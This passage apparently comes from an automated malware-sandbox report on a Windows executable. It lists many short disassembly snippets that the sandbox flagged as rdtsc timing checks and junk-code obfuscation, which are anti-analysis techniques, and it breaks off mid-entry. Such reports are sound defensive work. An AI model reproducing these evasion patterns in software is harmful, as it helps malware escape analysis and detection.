Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83AF08 second address: 83AF0E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83AF0E second address: 83AF45 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F00CD21E186h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push esi 0x00000013 pushad 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 pop esi 0x0000001a mov eax, dword ptr [eax] 0x0000001c jmp 00007F00CD21E18Eh 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 jnp 00007F00CD21E186h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83B024 second address: 83B033 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F00CCD814A6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83B033 second address: 83B0CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xor dword ptr [esp], 21D27B89h 0x0000000e sbb dx, ED4Dh 0x00000013 call 00007F00CD21E18Dh 0x00000018 jc 00007F00CD21E19Dh 0x0000001e pop edx 0x0000001f push 00000003h 0x00000021 push 00000000h 0x00000023 push edi 0x00000024 call 00007F00CD21E188h 0x00000029 pop edi 0x0000002a mov dword ptr [esp+04h], edi 0x0000002e add dword ptr [esp+04h], 00000014h 0x00000036 inc edi 0x00000037 push edi 0x00000038 ret 0x00000039 pop edi 0x0000003a ret 0x0000003b call 00007F00CD21E18Ch 0x00000040 mov dword ptr [ebp+122D3098h], eax 0x00000046 pop esi 0x00000047 jmp 00007F00CD21E194h 0x0000004c push 00000000h 0x0000004e mov dword ptr [ebp+122D2D29h], ebx 0x00000054 push 00000003h 0x00000056 sub dh, FFFFFFA4h 0x00000059 push 8268E2AEh 0x0000005e pushad 0x0000005f push edi 0x00000060 push eax 0x00000061 push edx 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83B0CC second address: 83B0E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jmp 00007F00CCD814ADh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83B0E1 second address: 83B129 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 xor dword ptr [esp], 4268E2AEh 0x0000000d mov esi, dword ptr [ebp+122D2AEAh] 0x00000013 lea ebx, dword ptr [ebp+1245EBABh] 0x00000019 push 00000000h 0x0000001b push esi 0x0000001c call 00007F00CD21E188h 0x00000021 pop esi 0x00000022 mov dword ptr [esp+04h], esi 0x00000026 add dword ptr [esp+04h], 0000001Dh 0x0000002e inc esi 0x0000002f push esi 0x00000030 ret 0x00000031 pop esi 0x00000032 ret 0x00000033 mov cx, bx 0x00000036 push eax 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83B129 second address: 83B12D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83B12D second address: 83B133 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81E3CB second address: 81E3E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007F00CCD814ADh 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81E3E3 second address: 81E3E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 858AF5 second address: 858AFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8590C1 second address: 8590D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F00CD21E190h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8590D5 second address: 8590DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8590DB second address: 8590E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 859243 second address: 859247 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 859247 second address: 85924B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85924B second address: 859266 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F00CCD814B5h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 859266 second address: 859282 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F00CD21E196h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8596E8 second address: 8596F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8596F5 second address: 8596FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8596FB second address: 8596FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8596FF second address: 859713 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F00CD21E186h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007F00CD21E186h 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 859713 second address: 85972E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push eax 0x0000000b pop eax 0x0000000c pushad 0x0000000d popad 0x0000000e pop eax 0x0000000f jmp 00007F00CCD814ACh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 859B15 second address: 859B27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F00CD21E18Bh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 859B27 second address: 859B2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 859B2B second address: 859B33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 859B33 second address: 859B41 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F00CCD814A8h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 859B41 second address: 859B45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 851403 second address: 851410 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 851410 second address: 851414 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 851414 second address: 85141A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 859C9D second address: 859CA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F00CD21E186h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85A2F6 second address: 85A324 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007F00CCD814B1h 0x0000000b jmp 00007F00CCD814ABh 0x00000010 pushad 0x00000011 jmp 00007F00CCD814B5h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85A45F second address: 85A463 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85A463 second address: 85A475 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F00CCD814A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jp 00007F00CCD814A6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85A475 second address: 85A47B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85A47B second address: 85A4B1 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F00CCD814B2h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push ebx 0x0000000c push edx 0x0000000d pop edx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F00CCD814B9h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85A4B1 second address: 85A4C0 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F00CD21E186h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85A75C second address: 85A762 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85AA82 second address: 85AA86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85AA86 second address: 85AA8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85CD9D second address: 85CDBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 jbe 00007F00CD21E186h 0x0000000d jmp 00007F00CD21E193h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85CDBF second address: 85CDC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85CDC8 second address: 85CDCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85CDCC second address: 85CDE6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F00CCD814B4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85CDE6 second address: 85CDF8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 ja 00007F00CD21E186h 0x00000009 pop ecx 0x0000000a je 00007F00CD21E18Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 862127 second address: 862133 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 jnl 00007F00CCD814A6h 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 862133 second address: 862156 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F00CD21E199h 0x00000009 jo 00007F00CD21E186h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82BB4F second address: 82BB53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82BB53 second address: 82BB71 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00CD21E18Bh 0x00000007 jmp 00007F00CD21E18Fh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82BB71 second address: 82BB96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F00CCD814B7h 0x00000009 jmp 00007F00CCD814AAh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82BB96 second address: 82BB9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 864164 second address: 864168 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8645FA second address: 8645FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86470F second address: 86476D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push ebx 0x00000007 jmp 00007F00CCD814B2h 0x0000000c pop ebx 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 jmp 00007F00CCD814B3h 0x00000016 mov eax, dword ptr [eax] 0x00000018 je 00007F00CCD814AEh 0x0000001e jne 00007F00CCD814A8h 0x00000024 mov dword ptr [esp+04h], eax 0x00000028 jl 00007F00CCD814C3h 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F00CCD814B1h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86476D second address: 864771 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 862FDB second address: 862FE0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 862FE0 second address: 863006 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F00CD21E194h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jl 00007F00CD21E18Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 863006 second address: 86300A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86300A second address: 863010 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8637F9 second address: 8637FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86488A second address: 8648A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F00CD21E188h 0x0000000c popad 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push ebx 0x00000014 pushad 0x00000015 popad 0x00000016 pop ebx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 867AAB second address: 867AC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 jmp 00007F00CCD814B5h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 867AC7 second address: 867ACD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 867ACD second address: 867B07 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F00CCD814A6h 0x00000008 jmp 00007F00CCD814AAh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F00CCD814B8h 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 pushad 0x00000018 jng 00007F00CCD814A6h 0x0000001e pushad 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 867B07 second address: 867B10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 867B10 second address: 867B19 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 828650 second address: 82865A instructions: 0x00000000 rdtsc 0x00000002 jp 00007F00CD21E186h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8671E7 second address: 8671EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86763D second address: 86765E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F00CD21E193h 0x00000009 pop esi 0x0000000a push ecx 0x0000000b jo 00007F00CD21E186h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8677CE second address: 8677D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8677D5 second address: 8677F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F00CD21E186h 0x00000009 jmp 00007F00CD21E194h 0x0000000e push esi 0x0000000f pop esi 0x00000010 popad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8677F8 second address: 8677FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 869916 second address: 86991A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86991A second address: 86991E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86991E second address: 869924 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86A5FF second address: 86A616 instructions: 0x00000000 rdtsc 0x00000002 je 00007F00CCD814A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b xchg eax, ebx 0x0000000c mov si, A792h 0x00000010 nop 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86A616 second address: 86A61A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86A61A second address: 86A624 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F00CCD814A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86AAF4 second address: 86AAF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86AAF8 second address: 86AAFE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86AAFE second address: 86AB11 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F00CD21E188h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86AB11 second address: 86AB17 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86BB55 second address: 86BB5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86CAC3 second address: 86CADE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 pop edx 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f ja 00007F00CCD814A6h 0x00000015 popad 0x00000016 pushad 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86CADE second address: 86CB30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 mov dword ptr [ebp+122D367Ah], eax 0x0000000d push 00000000h 0x0000000f mov dword ptr [ebp+122D312Ch], esi 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push ecx 0x0000001a call 00007F00CD21E188h 0x0000001f pop ecx 0x00000020 mov dword ptr [esp+04h], ecx 0x00000024 add dword ptr [esp+04h], 00000015h 0x0000002c inc ecx 0x0000002d push ecx 0x0000002e ret 0x0000002f pop ecx 0x00000030 ret 0x00000031 xchg eax, ebx 0x00000032 jmp 00007F00CD21E193h 0x00000037 push eax 0x00000038 push ebx 0x00000039 js 00007F00CD21E18Ch 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86D201 second address: 86D206 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86EEBF second address: 86EEC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86EEC5 second address: 86EED0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86F49C second address: 86F4A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86FFB5 second address: 86FFCF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F00CCD814B6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86FFCF second address: 87003B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov dword ptr [ebp+1245EC67h], ebx 0x00000011 mov dword ptr [ebp+122D32F5h], edx 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push edx 0x0000001c call 00007F00CD21E188h 0x00000021 pop edx 0x00000022 mov dword ptr [esp+04h], edx 0x00000026 add dword ptr [esp+04h], 00000014h 0x0000002e inc edx 0x0000002f push edx 0x00000030 ret 0x00000031 pop edx 0x00000032 ret 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push ebp 0x00000038 call 00007F00CD21E188h 0x0000003d pop ebp 0x0000003e mov dword ptr [esp+04h], ebp 0x00000042 add dword ptr [esp+04h], 00000019h 0x0000004a inc ebp 0x0000004b push ebp 0x0000004c ret 0x0000004d pop ebp 0x0000004e ret 0x0000004f jnp 00007F00CD21E186h 0x00000055 xchg eax, ebx 0x00000056 push ebx 0x00000057 push eax 0x00000058 pushad 0x00000059 